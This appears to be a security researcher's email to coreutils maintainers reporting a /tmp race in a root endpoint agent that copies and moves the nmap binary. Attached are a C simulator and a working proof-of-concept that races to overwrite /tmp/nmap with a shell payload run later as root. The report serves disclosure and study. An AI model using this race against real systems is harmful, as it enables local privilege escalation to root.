Dear Coreutils Maintainers,
I am a penetration tester assessing a desktop endpoint management application
that runs with root privileges. One of its features replaces the existing nmap
binary with its own version. The implementation performs the following steps:
1.
cp -f /usr/bin/nmap /tmp/nmap
2.
mv -f /tmp/nmap /usr/bin/nmap
Both commands are executed through popen.
While testing this behavior as an unprivileged user, I attempted to exploit a
race condition by monitoring /tmp/nmap and obtaining a write handle using
open() when the file size exceeded a certain threshold. After several attempts,
I was able to overwrite the beginning of the file with the following payload
(29 bytes):
#!/bin/bash
id > /tmp/abcdef
When the endpoint agent later invoked nmap, the payload executed and wrote the
output of id to /tmp/abcdef.
During multiple race attempts, I observed several different outcomes. In some
cases the file size was truncated to the payload size and owned by the
unprivileged user. In other cases the owner was root but the payload remained.
Sometimes the final file had the full nmap size but with the first 29 bytes
overwritten by user-controlled data. Ownership also alternated between root and
the racing user in different runs.
I also noticed the file permissions changing unpredictably during different
race attempts (e.g., 0644, 0640, 0400).
In another scenario, if /tmp/nmap was pre-created by the unprivileged user with
a small file and the application was triggered, I was able to modify the file
immediately when it was written. In this case the file consistently remained
owned by the unprivileged user.
My system is running:
Linux pwn-land 6.19.6 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
I reproduced the same behavior on an older kernel and again after upgrading to
the latest stable kernel.
I had a couple of questions:
1.
Is it expected behavior that cp does not update permissions when overwriting an
existing file created by a low-privileged user? If a privileged application
overwrites such a file and later executes it, could that lead to a privilege
escalation scenario?
2.
Why does this race produce multiple observable outcomes (different ownership,
sizes, and permissions)? Are there multiple internal stages or code paths in
cp/mv that could explain these different states?
For easier reproduction, I have attached two small programs:
*
A C simulator that mimics the application's behavior (should be run as root).
The sleep calls are only to help reproduce the race.
*
A simple proof-of-concept program that attempts the privilege escalation.
Thank you for your time and clarification.
[undefined]
Warm Regards,
Ajay SK
Firmware Security Researcher
Payatu Security Consulting Pvt Ltd.
Reach me on: 7397338492
This email and any files transmitted with it are confidential and intended
solely for the use of the individual or entity to whom they are addressed. If
you have received this email in error, please notify the system manager. Please
note that any views or opinions presented in this email are solely those of the
author and do not necessarily represent those of the company. Finally, the
recipient should check this email and any attachments for the presence of
Malwares. The company accepts no liability for any damage caused by any Malware
transmitted by this email.
#include<unistd.h>
#include<stdio.h>
int main()
{
while(1)
{
FILE *fp;
puts("The sleep of 10 seconds gonna happen now");
sleep(5);
fp = popen("/bin/cp -f /usr/bin/nmap /tmp/nmap","r");
pclose(fp);
puts("Now the sleep of 5 started");
sleep(0.5);
fp = popen("/bin/mv -f /tmp/nmap /usr/bin/nmap","r");
pclose(fp);
}
}
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <errno.h>
#include<stdlib.h>
int main(void) {
const char *path = "/tmp/nmap";
struct stat st;
while (1) {
if (lstat(path, &st) == -1) {
/* File does not exist or error */
continue;
}
if (st.st_size > 100) {
int fd = open(path, O_CREAT|O_TRUNC|O_WRONLY);
if(fd == -1)
{
perror("open");
printf("The permissions of this file is %o\n",st.st_mode & 0777);
printf("[+] Opened %s (fd=%d, size=%lld bytes)\n",
path, fd, (long long)st.st_size);
continue;
}
write(fd,"#!/bin/bash\nid > /tmp/abcdef\n",29);
close(fd);
if (fd == -1) {
perror("open");
} else {
printf("The fd of the process is %d\n",fd);
printf("The permissions of this file is %o\n",st.st_mode & 0777);
printf("[+] Opened %s (fd=%d, size=%lld bytes)\n",
path, fd, (long long)st.st_size);
close(fd);
exit(1);
}
}
}
return 0;
}